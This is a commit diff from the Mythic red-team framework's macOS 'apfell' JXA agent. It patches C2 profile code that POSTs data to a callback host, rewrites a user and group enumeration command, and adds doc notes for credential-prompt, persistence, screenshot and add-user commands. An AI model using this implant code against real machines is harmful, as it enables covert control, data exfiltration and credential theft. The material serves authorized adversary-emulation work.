Skip to content

Commit 85ebcea

Browse files
Merge pull request #2 from D00MFist/master
Updates for macOS Monterey (12.0) and small doc updates
2 parents 5296332 + c1936d3 commit 85ebcea

File tree

10 files changed

+89
-104
lines changed

10 files changed

+89
-104
lines changed

Payload_Type/apfell/agent_code/c2_profiles/dynamichttp.js

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -334,7 +334,7 @@ class customC2 extends baseC2{
334334
}
335335
if(method === "POST") {
336336
req.setHTTPMethod($.NSString.alloc.initWithUTF8String("POST"));
337-
let postData = $(body).dataUsingEncodingAllowLossyConversion($.NSString.NSASCIIStringEncoding, true);
337+
let postData = $(body).dataUsingEncodingAllowLossyConversion($.NSASCIIStringEncoding, true);
338338
let postLength = $.NSString.stringWithFormat("%d", postData.length);
339339
req.addValueForHTTPHeaderField(postLength, $.NSString.alloc.initWithUTF8String('Content-Length'));
340340
req.setHTTPBody(postData);

Payload_Type/apfell/agent_code/c2_profiles/http.js

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -292,7 +292,7 @@ class customC2 extends baseC2{
292292
if( (apfell.id === undefined || apfell.id === "") && (uid === undefined || uid === "")){ $.NSApplication.sharedApplication.terminate(this);}
293293
let req = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(url));
294294
req.setHTTPMethod($.NSString.alloc.initWithUTF8String("POST"));
295-
let postData = data.dataUsingEncodingAllowLossyConversion($.NSString.NSASCIIStringEncoding, true);
295+
let postData = data.dataUsingEncodingAllowLossyConversion($.NSASCIIStringEncoding, true);
296296
let postLength = $.NSString.stringWithFormat("%d", postData.length);
297297
req.addValueForHTTPHeaderField(postLength, $.NSString.alloc.initWithUTF8String('Content-Length'));
298298
for(let i = 0; i < this.header_list.length; i++){
@@ -487,4 +487,4 @@ class customC2 extends baseC2{
487487
}
488488
//------------- INSTANTIATE OUR C2 CLASS BELOW HERE IN MAIN CODE-----------------------
489489
ObjC.import('Security');
490-
var C2 = new customC2(callback_interval, "callback_host", "callback_port");
490+
var C2 = new customC2(callback_interval, "callback_host", "callback_port");
Lines changed: 52 additions & 80 deletions
Original file line numberDiff line numberDiff line change
@@ -1,99 +1,71 @@
11
exports.list_users = function(task, command, params){
2-
let all_users = [];
3-
let gid = -1;
4-
let groups = false;
5-
if(params.length > 0){
6-
let data = JSON.parse(params);
7-
if(data.hasOwnProperty('gid') && data['gid'] !== "" && data['gid'] > 0){
2+
var all_users = [];
3+
var gid = -1;
4+
if (params.length > 0) {
5+
var data = JSON.parse(params);
6+
if (data.hasOwnProperty('gid') && data['gid'] !== "" && data['gid'] > 0) {
87
gid = data['gid'];
98
}
10-
if(data.hasOwnProperty("groups") && data['groups'] !== ""){
11-
groups = data['groups'];
12-
}
13-
}
9+
}
1410
ObjC.import('Collaboration');
1511
ObjC.import('CoreServices');
16-
if(gid < 0){
17-
let defaultAuthority = $.CSGetLocalIdentityAuthority();
18-
let identityClass = 2;
19-
if(groups){
20-
all_users = []; // we will want to do a dictionary so we can group the members by their GID
21-
}
22-
else{
23-
identityClass = 1; //enumerate users
24-
}
25-
let query = $.CSIdentityQueryCreate($(), identityClass, defaultAuthority);
26-
let error = Ref();
27-
$.CSIdentityQueryExecute(query, 0, error);
28-
let results = $.CSIdentityQueryCopyResults(query);
29-
let numResults = parseInt($.CFArrayGetCount(results));
30-
if(results.js === undefined){
31-
results = $.CFMakeCollectable(results);
32-
}
33-
for(let i = 0; i < numResults; i++){
34-
let identity = results.objectAtIndex(i);//results[i];
35-
let idObj = $.CBIdentity.identityWithCSIdentity(identity);
36-
if(groups){
37-
//if we're looking at groups, then we have a different info to print out
38-
all_users[i] = {};
39-
all_users[i]["POSIXID"] = idObj.posixGID;
40-
all_users[i]['aliases'] = ObjC.deepUnwrap(idObj.aliases);
41-
all_users[i]['fullName'] = ObjC.deepUnwrap(idObj.fullName);
42-
all_users[i]['POSIXName'] = ObjC.deepUnwrap(idObj.posixName);
43-
all_users[i]['members'] = [];
44-
let members = idObj.memberIdentities.js;
45-
for(let j = 0; j < members.length; j++){
46-
let info = {
47-
"POSIXName": members[j].posixName.js,
48-
"POSIXID": members[j].posixUID,
49-
"LocalAuthority": members[j].authority.localizedName.js,
50-
"FullName": members[j].fullName.js,
51-
"Emails": members[j].emailAddress.js,
52-
"isHiddenAccount": members[j].isHidden,
53-
"Enabled": members[j].isEnabled,
54-
"Aliases": ObjC.deepUnwrap(members[j].aliases),
55-
"UUID": members[j].UUIDString.js
56-
};
57-
all_users[i]['members'].push(info);
58-
}
59-
}
60-
else{
61-
let info = {
12+
if (gid < 0) {
13+
var defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority;
14+
var grouptolook = 1000 //Most systems don't have groups past 700s
15+
for (var x = 0; x < grouptolook; x++) {
16+
var group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(x, defaultAuthority);
17+
validGroupcheck = group.toString()
18+
if (validGroupcheck == "[id CBGroupIdentity]") {
19+
var results = group.memberIdentities.js;
20+
21+
var numResults = results.length;
22+
for (var i = 0; i < numResults; i++) {
23+
var idObj = results[i];
24+
var info = {
6225
"POSIXName": idObj.posixName.js,
63-
"POSIXID": idObj.posixUID,
26+
"POSIXID": idObj.posixUID,
27+
"POSIXGID": group.posixGID,
6428
"LocalAuthority": idObj.authority.localizedName.js,
6529
"FullName": idObj.fullName.js,
66-
"Emails": idObj.emailAddress.js,
30+
"Emails": idObj.emailAddress.js,
6731
"isHiddenAccount": idObj.isHidden,
6832
"Enabled": idObj.isEnabled,
6933
"Aliases": ObjC.deepUnwrap(idObj.aliases),
7034
"UUID": idObj.UUIDString.js
7135
};
72-
all_users.push(info);
36+
all_users.push(info);
37+
}
38+
7339
}
7440
}
75-
}
76-
else{
77-
let defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority;
78-
let group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(gid, defaultAuthority);
79-
let results = group.memberIdentities.js;
80-
let numResults = results.length;
81-
for(let i = 0; i < numResults; i++){
82-
let idObj = results[i];
83-
let info = {
84-
"POSIXName": idObj.posixName.js,
85-
"POSIXID": idObj.posixUID,
86-
"LocalAuthority": idObj.authority.localizedName.js,
87-
"FullName": idObj.fullName.js,
88-
"Emails": idObj.emailAddress.js,
89-
"isHiddenAccount": idObj.isHidden,
90-
"Enabled": idObj.isEnabled,
91-
"Aliases": ObjC.deepUnwrap(idObj.aliases),
92-
"UUID": idObj.UUIDString.js
93-
};
41+
return {
42+
"user_output": JSON.stringify(all_users, null, 2),
43+
"completed": true
44+
}
45+
} else {
46+
var defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority;
47+
var group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(gid, defaultAuthority);
48+
var results = group.memberIdentities.js;
49+
var numResults = results.length;
50+
for (var i = 0; i < numResults; i++) {
51+
var idObj = results[i];
52+
var info = {
53+
"POSIXName": idObj.posixName.js,
54+
"POSIXID": idObj.posixUID,
55+
"POSIXGID": group.posixGID,
56+
"LocalAuthority": idObj.authority.localizedName.js,
57+
"FullName": idObj.fullName.js,
58+
"Emails": idObj.emailAddress.js,
59+
"isHiddenAccount": idObj.isHidden,
60+
"Enabled": idObj.isEnabled,
61+
"Aliases": ObjC.deepUnwrap(idObj.aliases),
62+
"UUID": idObj.UUIDString.js
63+
};
9464
all_users.push(info);
9565
}
9666
}
97-
return {"user_output":JSON.stringify(all_users, null, 2), "completed": true};
67+
return {
68+
"user_output": JSON.stringify(all_users, null, 2),
69+
"completed": true
70+
};
9871
};
99-

Payload_Type/apfell/mythic/agent_functions/list_users.py

Lines changed: 1 addition & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -14,13 +14,6 @@ def __init__(self, command_line):
1414
default_value=-1,
1515
description="Enumerate users in a specific group or -1 for all groups",
1616
),
17-
"groups": CommandParameter(
18-
name="groups",
19-
type=ParameterType.Boolean,
20-
required=False,
21-
default_value=False,
22-
description="Enumerate groups and their members ",
23-
),
2417
}
2518

2619
async def parse_arguments(self):
@@ -47,7 +40,7 @@ class ListUsersCommand(CommandBase):
4740
async def create_tasking(self, task: MythicTask) -> MythicTask:
4841
if task.args.get_arg("gid") < 0:
4942
resp = await MythicRPC().execute("create_artifact", task_id=task.id,
50-
artifact="$.CSGetLocalIdentityAuthority, $.CSIdentityQueryCreate, $.CSIdentityQueryExecute",
43+
artifact="$.CBIdentityAuthority.defaultIdentityAuthority, $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority",
5144
artifact_type="API Called",
5245
)
5346
else:

documentation-payload/apfell/commands/add_user.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,12 @@ Add a local user to the system by wrapping the Apple binary, dscl.
1212
- Version: 1
1313
- Author: @its_a_feature_
1414

15+
16+
{{% notice tip %}}
17+
For `Authenticate as this user` and `Authenticate with this password` dropdowns to be available, add credentials under the Operational Views tab in Mythic
18+
{{% /notice %}}
19+
20+
1521
### Arguments
1622

1723
#### password

documentation-payload/apfell/commands/current_user.md

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,13 @@ This uses AppleEvents or ObjectiveC APIs to get information about the current us
1313
- Version: 1
1414
- Author: @its_a_feature_
1515

16+
17+
{{% notice warning %}}
18+
If the `JXA` method is selected:
19+
In Mojave+ (10.14+) this will cause a popup the first time asking for permission for your process to access System Events.
20+
{{% /notice %}}
21+
22+
1623
### Arguments
1724

1825
#### method

documentation-payload/apfell/commands/list_users.md

Lines changed: 6 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ hidden = false
77

88
## Summary
99

10-
This uses JXA to list the non-service user accounts on the system. You can specify a GID to look at the users of a certain group or you can specify 'groups' to be true and enumerate users by groups
10+
This uses JXA to list the non-service user accounts on the system. You can specify a GID to look at the users of a certain group or you can use '-1' for GID to enumerate users for groups 0-1000
1111
- Needs Admin: False
1212
- Version: 1
1313
- Author: @its_a_feature_
@@ -18,13 +18,11 @@ This uses JXA to list the non-service user accounts on the system. You can speci
1818

1919
- Description: Enumerate users in a specific group or -1 for all groups
2020
- Required Value: False
21-
- Default Value: None
21+
- Default Value: None
2222

23-
#### groups
24-
25-
- Description: Enumerate groups and their members
26-
- Required Value: False
27-
- Default Value: None
23+
{{% notice tip %}}
24+
If -1 for all groups is used, there may be duplicate users shown if they are memebers of multiple groups
25+
{{% /notice %}}
2826

2927
## Usage
3028

@@ -38,9 +36,7 @@ list_users
3836
- T1069
3937
## Detailed Summary
4038

41-
- If gid is -1 and groups is false, enumerates all users and prints their info
42-
- If gid is -1 and groups is true, enumerate all groups and their members
39+
- If gid is -1, enumerates all users and prints their info
4340
- If gid > 0, enumerate all users within the specified group
4441

4542
All of these options are done via the Collaboration and CoreServices Frameworks and queried via API calls.
46-

documentation-payload/apfell/commands/persist_folderaction.md

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,9 @@ Use Folder Actions to persist a compiled script on disk. You can either specify
1212
- Version: 1
1313
- Author: @its_a_feature_
1414

15-
{{% notice warning %}} In Mojave+ (10.14+) this will cause a popup the first time asking for permission for your process to access System Events. {{% /notice %}}
15+
{{% notice warning %}}
16+
In Mojave+ (10.14+) this will cause a popup the first time asking for permission for your process to access System Events.
17+
{{% /notice %}}
1618

1719
### Arguments
1820

documentation-payload/apfell/commands/prompt.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,12 @@ Create a custom prompt to ask the user for credentials where you can provide tit
1313
- Version: 1
1414
- Author: @its_a_feature_
1515

16+
17+
{{% notice warning %}}
18+
This can potentially hang the agent as dependent on user interaction, so be careful
19+
{{% /notice %}}
20+
21+
1622
### Arguments
1723

1824
#### title

documentation-payload/apfell/commands/screenshot.md

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,11 @@ Use the built-in CGDisplay API calls to capture the display and send it back ove
1212
- Version: 1
1313
- Author: @its_a_feature_
1414

15+
{{% notice warning %}}
16+
In Catalina+ (10.15+) there are TCC protections against this, so be careful
17+
{{% /notice %}}
18+
19+
1520
### Arguments
1621

1722
## Usage
@@ -38,5 +43,3 @@ let capture = bitmapimagerep.representationUsingTypeProperties($.NSBitmapImageFi
3843
```
3944
The screencapture is chunked and sent back to Mythic.
4045

41-
>**NOTE** With 10.15, there are protections against this, so be careful
42-

0 commit comments

Comments
 (0)